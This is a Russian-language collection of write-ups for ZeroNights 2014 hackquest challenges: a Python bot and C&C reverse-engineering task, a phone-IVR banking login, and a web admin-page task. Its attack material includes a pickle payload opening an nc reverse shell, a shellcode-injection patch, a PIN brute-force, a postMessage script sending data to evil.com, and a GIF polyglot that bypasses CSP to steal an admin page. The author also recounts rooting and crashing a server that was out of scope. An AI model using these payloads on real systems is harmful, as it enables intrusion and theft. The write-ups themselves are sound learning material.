Получаем строчку готовую к отправке на сервер.

"cposixnsystemnp0n(S'rm /tmp/shell; mknod /tmp/shell p; nc *.*.*.* 9000 0</tmp/shell | /bin/sh 1>/tmp/shell'np1ntp2nRp3n."

Теперь нужно подменить данные уходящие от нас. Наиболее простым показался перехват функции pickle.dumps по адресу 0x1E050C40, а для того, чтобы вернуть строчку в виде PyObject* воспользуемся еще одной замечательной функцией питона PyObject* PyString_FromString(const char *v) по адресу 0x1E0D4B80.
Таким образом, наш патч принимает вид (по адресу 0x1E13DEC3 была записана строчка):

<1E050C40>
	JMP 1E13DE9B ; pickle.dumps
<1E13DE9B>
	PUSHAD
	PUSH 1E13DEC3
	CALL 1E0D4B80
	ADD ESP,4
	MOV DWORD PTR SS:[ESP+1C],EAX
	POPAD
	RETN

Запускаем бота, применяем патч и ждем входящего соединения… и дожидаемся :)
Итак мы получили доступ к командной строке сервера, а whoami показала, что мы root (!!!).
Стоит отметить, что симметричный баг присутствует и на клиенте, но учитывая наличие возможности выполнять шэлкод пользоваться этим нет особого смысла.
На удивление flag.txt радом со скриптами сервера не оказалось, как в прочем и внутри скриптов ничего похожего на флаг тоже, поиск по серверу никаких результатов не принес. Были скопированы все скрипты, некоторые конфиги и логи. Создал файлик со своим email рядом со скриптами и напоследок решил попробовать сделать дамп memcached (скрипт сервера его юзал). Однако сервер ушел в аут и больше не поднимался (либо его выключили, либо я перестарался).
Позже разговаривая с создателями квеста в IRС, на моё удивление выяснилось, что взлом этого сервера не предполагался в принципе, а задача состоит совсем в другом.
Там же была получена подсказка о «необходимости оценить количество зараженных машин», следовательно сервер нужно было теперь поднять сервер у себя и «закинуть оповещение» ботам.
С этого момента начинается использование «читерского» сервера и задача в дальнейшем изучении скомпилированных функций в боте отпадает практически полностью. Однако из-за того что я далеко не сразу догадался, что конкретно нужно было забрать с зараженных терминалов, я все же разобрал некоторые его основные функции. По этому, сейчас сделаем небольшое лирическое отступление и расскажем о принципах работы бота которые не имеют особого значения для получения ответа, но просто интересны.
Команды известные боту. Хотя сервер и реализовывал некоторые команды, такие как вывод сообщений пользователю, загрузка и выполнение шэлкода, получение списка процесса оставалось сомнение, а все ли это команды поддерживаемые ботом. Ответ был найден в функции O4Ik.cexec по адресу 0x1E018350. Там выполнялась расшифровка строк — названий команд и добавление их в список, после чего по пришедшему от сервера индексу проверялось есть ли функция реализующая данную команду и если такая находилась, то она выполнялась. Приведем список всех теоретически поддерживаемых команд.

А в статье [6], был найден пример такой эксплуатации.
Модифицируем его под себя и сериализуем.

1: 'CMD_GET_ROUTER_BGP',
2: 'CMD_MAKE_TRAFFIC_INDEX',
3: 'CMD_MAKE_METRIC',
4: 'CMD_GET_BGP_NSAP_PATHS',
5: 'CMD_GET_REDISTRIBUTE_DVMRP',
6: <bound method O4Ik.contributors>,
7: 'CMD_GET_CMD',
8: 'CMD_GET_BGP_NSAP_INCONSISTENT_AS',
9: 'CMD_GET_NEIGHBOR_VERSION',
10: 'CMD_GET_BGP_NSAP_DAMPENED_PATHS',
11: 'CMD_MAKE_METRIC_TYPE_INTERNAL',
12: 'CMD_GET_PREFIX_LENGTH_SIZE',
13: 'CMD_MAKE_TOKEN',
14: 'CMD_GET_ROUTE_SERVER_CONTEXT',
15: 'CMD_MAKE_ORIGIN',
16: 'CMD_GET_BGP_NSAP_FILTER_LIST',
17: 'CMD_GET_BGP_NSAP_QUOTE_REGEXP',
18: <bound method O4Ik.inj>,
19: 'CMD_MAKE_NETWORK_DISCONNECT',
20: 'CMD_GET_BGP_ALL_NEIGHBORS',
21: 'CMD_GET_NEIGHBOR_WEIGHT',
22: 'CMD_GET_BGP_NSAP_FLAP_STATISTICS',
23: 'CMD_GET_NEIGHBOR_UPDATE_SOURCE',
24: <bound method O4Ik.cname>,
25: 'CMD_GET_NETWORK_BACKDOOR',
26: 'CMD_GET_BGP_NSAP_DAMPENING',
27: <bound method O4Ik.plist>,
28: 'CMD_GET_SCOPE',
29: 'CMD_GET_BGP_NSAP',
30: <bound method O4Ik.load>,
31: <bound method O4Ik.console>,
32: 'CMD_GET_BGP_NSAP_COMMUNITY',
33: 'CMD_GET_BGP_NSAP_NEIGHBORS',
34: 'CMD_GET_NEIGHBOR_TRANSPORT',
35: 'CMD_MAKE_COMMUNITY',
36: 'CMD_GET_NEIGHBOR_TTL_SECURITY',
37: 'CMD_GET_BGP_NSAP_COMMUNITY_LIST',
38: 'CMD_GET_BGP_NSAP_REGEXP',
39: <bound method O4Ik.msgbox>,
40: 'CMD_GET_NEIGHBOR_TIMERS',
41: 'CMD_MAKE_WEIGHT',
42: 'CMD_MAKE_IP_NEXT_HOP',
43: 'CMD_GET_NEIGHBOR_UNSUPPRESS_MAP',
44: 'CMD_MAKE_EXTCOMMUNITY_COST',
45: 'CMD_GET_BGP_ALL_COMMUNITY',
46: 'CMD_MAKE_COMM_LIST_DELETE',
47: 'CMD_GET_REDISTRIBUTE',
48: 'CMD_GET_NETWORK',
49: 'CMD_MAKE_EXTCOMMUNITY',
50: 'CMD_MAKE_NOP',
51: 'CMD_MAKE_AS_PATH',
52: 'CMD_GET_BGP_NSAP_SUMMARY',
53: 'CMD_MAKE_FAIL'

Как мы видим реализовано лишь несколько:

6: <bound method O4Ik.contributors> — вывод привета от ZeroNights.
18: <bound method O4Ik.inj> — инжект пришеджего шэлкода в процесса
24: <bound method O4Ik.cname> — запрос имени компьютера, пути до пользовательской папки
27: <bound method O4Ik.plist> — список процессов (pid, имя, разрядность)
30: <bound method O4Ik.load> — запрос на принятие шэлкода
31: <bound method O4Ik.console> — вывод сообщения в консоль
39: <bound method O4Ik.msgbox> — сообщение MessageBoxA

Новых команд не нашлось.
Инжект работал по схеме OpenProcess + WriteProcessMemory + CreateRemoteThread.
Получение списка процессов было сделано через ToolHelp32.
Кодирование строк было обычным побайтовым xor, но для каждой строки был свой байт-ключ. К тому же немного усложняло ручную расшифровку то, что байт-ключ был PyObject* инициализировавшийся в отдельной функции. Закодированные строки хранились как картеж из двух элементов: массив байт строки и ключ.
Данные передаваемые на сервер маскировались под файлы некоторых известных форматов: png, gif и pdf (функции mask/unmask).
Возвращаемся на путь к получения флага.
В первую очередь нужно было научиться передавать ботам информацию о своем сервере. Так как у нас уже есть скрипт P429.py (который мы получили декомпиляций), а так-же реализация алгоритма encrypt из трофейного сервера (хотя её можно было использовать и из имеющегося python27.dll) мы можем легко кодировать адрес своего сервера в ожидаемый ботом вид.
В итоге имеем код который выдает нам псевдоним пользователя и сообщение:

	name = string_generator(7);
	url = "http://*.*.*.*:808/"+name+"/"
	ff_code, ff_hash, ff_key = twGen(16)
	spritz = spritz.Spritz()
	print sub('=', '', base64.b32encode(spritz.encrypt(url, ff_key, ff_hash))).strip(), " i'm back! *** gfhfigeopkiopolawlqrctd caixdlkwtfav va  sjyxizwtxv con mycydqpj  ", ff_code
	print name, ff_hash

Регистрируемся на friendfeed.com, выставляем соответствующий псевдоним и отправляем сообщение.
Два бота попытаются соединиться с указанным сервером. Оба находятся за NAT и у них одинаковый IP.
Сначала стоит попытаться запустить удаленную консоль, однако это не сработает, так как мы не можем создавать новые процессы.
В таком случае нам необходимо написать простенькую программу для путешествия по серверу. Хотелось поддержки следующих функций:

  • вывод файлов и папок в текущей директории (ls)
  • переход между директориями (cd)
  • вывод содержимого файла в консоль (cat)
  • вывод имени компьютера (who)

Реализация приведена в файле backCmd.c. Код написан для Visual Studio, компилировать нужно с отключенными проверками безопастности (они лишний импорт подтягивают), возможно нужно включить или выключить что-то еще (никакого импорта и никаких релокаций в файле быть не должно).
После сборки, забираем секцию .text из файла и отправляем её на сервер и ждем соединения.
Просмотрев файловую систему замечаем:

  • аналог имеющегося у нас бота в папке C:/Users/pos-user/AppData/LocalLow/zn_bot/
  • программа pos_1 в папке C:/Users/pos-user/AppData/LocalLow/pos_bot/
  • дампы переданных наши шэлов в C:/Windows/shell_storage/
  • через пару минут происходит завершение процесса и мы теряем соединение с шэлом

Бот который находился на сервере отличается от нашего только наличием вывода некоторой информации о процессе поиска C&C сервера в консоль.
pos_1.exe тоже не представляет интереса, так как просто в цикле раз в пару секунд выводит кредитсы ZeroNights.
Из C:/Windows/shell_storage/ я выбрал пол десятка случайных файлов и скачал, все оказались моим шел кодом, по этому изучение этой папки было оставлено на потом.
По началу я не придал значению тому, что бот рестартился через определённое время, списав это на техническую реализацию задания, однако позже к этому пришлось вернуться и найти процесс, который этим занимается — task_mon.exe.
Посмотрев этот файл сразу стало понятно где находится флаг и уже ничего не стоило его забрать.

Учитывая, что программа запускает два процесса, взглянем на следующий код, чтобы понять в памяти какого именно процесса нужно искать флаг.

Теперь наша цель — процесс pos_1.exe.
Напишем шэлкод, который перечислит все участки памяти и найдет те, которые совпадут по размеру, типу и протекции с искомым.
Код представлен в файле getFlag.с.
Загружаем это на терминал и получаем дамп нескольких участков памяти среди которых видим строчку-флаг:

ZN0x04_{cf7ab7e9d26769c2d95676bcd2c72d64107391417e94fce1972cc6d71272eba5}

Ссылки:
[1] github.com/matiasb/unpy2exe
[2] github.com/rumpeltux/dropboxdec
[3] sourceforge.net/projects/easypythondecompiler/
[4] rammichael.com/multimate-assembler
[5] docs.python.org/2/library/pickle.html
[6] blog.nelhage.com/2011/03/exploiting-pickle/

Файлы — hackquest.zeronights.ru/downloads/zn_no_exe.zip

Day 4/8 — Chip-in-the-middle (Misc)

Победитель: GiftsUngiven
Также решил: Dmitry Ananyev

Day 5/8 — M-Nature (Reverse)

Победитель: Roman Bondarenko
Также решил: Stanislav Povolotsky

Day 6/8 — Not a HARD task (Web/Misc)

Победитель: Torn
Также решили: goober, ispras team, Richard Baranyi, BECHED, qwerty@x.x

Day 7/8 — Private bank haxing (Web/Misc)

Победитель и автор райтапа: altexxx
Также решили: abc1111abc, beched, Abr1k0s ctf team, darkbyte, obriain, bmth, bo0om, arnor9400

Скрытый текст

Начало

Первый раз о хакквестах я читал несколько месяцев назад в журнале Хакер. Тогда меня это очень заинтересовало как challenge, а тем более давало возможность бесплатного прохода на различные мероприятия по IT-безопасности. Этот хак-квест стал моим первым опытом участия в подобных мероприятиях.

Задание было довольно лаконично — bank.0x90.ru/.
С виду обычный сайт, самоподписанный сертификат, меню, форма авторизации.
В форме нужно ввести номер карты и пин-код.

Векторы

Начинать нужно с поиска векторов.
Страница выглядит так же лаконично, как и задание, поэтому первый вектор, который приходит в голову, посмотреть её исходный код. И сразу успех, на странице есть закомментированный номер телефона.

<!--<li><a href="tel:88005052098">Support</a></li>-->

Позвонив по нему, можно пообщаться с IVR меню. Нажмите 1 для связи с оператором, который как-то не особо вежливо сразу бросает трубку, и нажмите 2 для авторизации по номеру карты.
Немного поэкспериментировав с разными номерами карт, всё неизменно приходилось обламываться на пин-коде.
Нажатие на звёздочку в меню авторизации включает музыку, после которой всё равно разговор сбрасывается. На этом эксперименты с IVR завершаются — нужно искать в другом месте.

Дальше я перешёл к другим векторам, которые, забегая вперёд, не дали никаких результатов, но о них стоит рассказать.

Ошибочные векторы

Nmap находит http, https и ssh на нестандартном порту. Ssh требует ключ. Http редиректит на https. Ничего интересного найти не удалось.
Skipfish и Dirbuster нашли несколько uri, в том числе /home/, /logout/, различные uri с разными 404 ошибками, но ничего стоящего.
Сессионный идентификатор оказался base64 — закодированным json, с не менее закодированным id внутри, и каким-то мусором в конце. Это был довольно интересный вектор, но разгадать секрет сессии за разумное время не вышло, хотя burp помогал как мог.
Sqlmap неспешно не нашёл ничего.

Телефон

Что ж, похоже нужно вернуться к телефону и начать всё заново. Пробую различные комбинации последних 6 цифр номера карты, 123456, 456789, 111111, 000000, и так далее, но особых успехов это не приносит, приглушённый мужской голос не спешит пускать дальше.

Номер карты

В нашем деле везение и интуиция играют не последнюю роль, а часто даже решающую. Именно к таким выводам я прихожу, вспоминая как нашёл номер карты. После нулевых успехов общения с IVR меню, я, не сбрасывая вызов, отложил в сторону телефон, и перешёл к играм с sqlmap и skipfish. Мужской голос в телефоне всё продолжал уговаривать меня ввести какие-то цифры, но все цифры, которые я помнил на тот момент, я уже вводил неоднократно. И тут через какое-то время, по внутренним биологическим часам примерно от одной минуты до десяти, к нашему неспешному разговору подключилась девушка, с синтетическим, но довольно приятным голосом. Не сказать, что она была довольно приветлива, зато сразу перешла к делу, и начала диктовать цифры. Запомнить их все мне не удалось, но последние 6 я записать успел, 905678. Если при авторизации по последним 6 цифрам номера карты ввести именно их, то тот же самый женский голос, не задумываясь, повторяет своё сообщение целиком — 9090 1234 9090 5678, которое, как не сложно догадаться, оказывается номером карты. К слову сказать, повторить этот трюк у меня не получилось — сколько потом не перезванивал, просто так девушка появляться больше не захотела.

Пин-код

Заполучив номер карты, уже можно было пытаться брутить пин-код на веб-форме авторизации. Не долго думая, написал простой скрипт на всеми горячо любимом php, который посылает запрос на форму, и проверяет, что ответ не содержит строки с текстом ошибки. Распараллелив скрипт в 4 потока, с учётом поддержки keep-alive соединения, которое, кстати, сбрасывалось после каждого 100-го запроса, удалось добиться довольно высокой скорости, и в течение 5-10 минут пин-код был у меня — 1337.

Пока php скрипт неспешно перебирал пин-коды, я решил воспользоваться параллельно более технологичным решением — hydra. Запустил тот же запрос на подбор пин-кода в ней. Скорость подбора составляла 650 запросов в минуту, параллельно работало 16 потоков. Но результат меня немного удивил, так как hydra ничего не нашла, в то время как php скрипт справился. Времени разбираться не было, но кажется это было из-за редиректа после успешной авторизации.

Другой замок

Первым делом ввёл номер карты и пин-код в веб-форму авторизации.

Welcome to Private Banking Service!
NAME: John Doe
CARD: 9090123490905678
BALANCE: 100.0
EXPIRES: 2017-01-13
PIN: 1337
CVV: 123

But our pricess is in another castle!

Это открывало новый вектор — оплатить участие в ZeroNights по этой карте.
В правом углу появилось меню из трёх пунктов, home, logout и support, последний из которых вёл по той же самой ссылке “tel:88005052098”. Означать это могло только одно — снова доставать телефон.
На этот раз успешно пройдя всю авторизацию, можно было услышать опять природный человеческий мужской голос: “Ключом этого задания является md5 хеш от слова ASTERISK”.

Выводы

Чему эта история может нас научить. Использование правильных инструментов не всегда даёт желаемый результат, в отличие от скриптов, написанных на коленке. Если проявлять терпение, то оно возможно будет вознаграждено везением. Используйте двухфакторную авторизацию, если вам дорог ваш аккаунт, и обязательно участвуйте в хакквестах, даже если у вас нет опыта, потому что не все задания подразумевают взлом какого-нибудь алгоритма шифрования, или дизассемблирование бинарников.
И пользуясь случаем хотелось бы сказать спасибо за столь интересные задания — изобретательности организаторов нет границ.

Day 8/8 — Photo story (Web)

Победитель и автор райтапа: Sergey Bobrov
Также решила команда в составе: Dan, Alexander & Tolya

Скрытый текст

Задание:

Get flag from admin page: www.id1.pw/
P.S. DirBuster cannot help you

Регистрируемся и замечаем, что пароль для учетной записи генерируется на клиенте.
За это отвечает обфусцированный js-код из файла auth.id1.pw/js/style.jspastebin.com/MvhACF4Z.
После небольшой обработки он начал выглядеть вот так:

    var MAGIC = function(_13) {
    /*js-code*/
    _1 = _9(_1, _2, _0, _3, _4[_5 0], _27, 0xD76AA478);
    _3 = _9(_3, _1, _2, _0, _4[_5 1], _26, 0xE8C7B756);
    /*js-code*/
    };
    $(document)["ready"](function() {
         var _55 = document["getElementsByName"]("email")[0]["value"];
         if (_55["length"] > 2) {
             if (document["getElementById"]("userPass")) {
                 document["getElementById"]("userPass")["innerHTML"] =
    "Password:"+MAGIC(_55)["substring"](0, 10)
             }
         };
         return 0
    });

По константам из функции MAGIC понимаем, что это MD5
(https://www.google.ru/search?q=0xD76AA478), а стандартный пароль — первые 10 символов от md5(email).
Email текущего пользователя выводится сценарием auth.id1.pw/navbar-status.php?origin=http://www.id1.pw

    parent.postMessage('<a href="http://auth.id1.pw">Hello, guest!</a>',
    "http://www.id1.pw");

У параметра origin проверяется только начало на соответствие «www.id1.pw», что позволяет задать origin «www.id1.pw.evil.com».
Если поднять сайте на www.id1.pw.evil.com следующий сценарий и послать пользователю

    var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";
    var eventer = window[eventMethod];
    var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";
    eventer(messageEvent,function(e) {
         var key = e.message ? "message" : "data";
         var data = e[key];
         var img = document.createElement('img');
         img.src = 'http://evil.com/logger?c='+escape(data);
         document.appendChild(img);
    },false);
    <iframe
    src="http://auth.id1.pw/navbar-status.php?origin=http://www.id1.pw.bf.am"
    style="display: none;"></iframe>

То мы получим postMessage, содержащий email, по которому мы можем сгенерировать пароль.

Шлем ссылку на сценарий боту-модератору через форум: www.id1.pw/forum/main/.
Получаем такой ответ:

    [09/Oct/2014:06:19:03 +0000] "GET
    /logger?c=%3Ca%20href%3D%22/account/%22%3EHello%2C%20yoyoyomoderator1998@google.com%3C/a%3E
    HTTP/1.1" 200 318

Таким образом учетная запись модератора:

    md5('yoyoyomoderator1998@google.com')=214fbc9577288ab4c104e25c7fbbd088
    yoyoyomoderator1998@google.com:214fbc9577

Зайдя под модератором мы получаем возможность слать администратору личные сообщения с использованием html тегов, но:

1) не сработает, так как стоит CSP заголовок

    Content-Security-Policy: default-src 'self' https://apis.google.com
    http://fonts.googleapis.com/ http://fonts.gstatic.com/ http://auth.id1.pw

2) Администратор имеет доступ только к auth.id1.pw и www.id1.pw/

Для того, чтобы обойти CSP воспользуемся загрузкой картинок на сайт на странице
www.id1.pw/account/ <www.id1.pw/account/.> (подробнее тут: bugscollector.com/tricks/6/).
/* В современных браузерах такое вроде бы не работает уже, ругается на то, что mime-type image/gif, а не application/javascript */

Сгенерируем GIF типа:

    GIF89a/*x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*/=1;alert(1);

После чего ее можно будет использовать в сообщениях к администратору в обход CSP
в виде:

    <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script>

Для получения результатов выполнения js-сценария воспользуемся отправкой личных сообщений нашему пользователю. В итоге получение флага выглядит следующим образом:

Генерируем GIF:

    GIF89a/*x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00*/=1;
    $.get("/admin/",function(data){
    var x = document.getElementById("xxx");
    var mbody = document.getElementById("mbody");
    mbody.value=escape(data);
    x.submit();
    });

Шлем администратору сообщение:

    <form action="http://www.id1.pw/users/id{userid}/" method="POST" id="xxx">
    <input name="body" id="mbody" value=""/>
    </form>
    <script src="http://www.id1.pw/img/uploads/{userid}_{imgname}.gif"></script>

После чего получаем содержимое страницы /admin/ в личном сообщении на странице www.id1.pw/users/id{userid}/?action=view

Your flag is: 5aa04d91037d1eced1358e343ad44369cf2ccdce902ddb52f034743634312e03

Спасибо всем участникам хакквеста! Верим, вам понравилось!

Ссылки

Программа мероприятия
Материалы конференции
Фотоархив
Сайт ZeroNights 2014

Автор: ValdikSS

Источник


* - обязательные к заполнению поля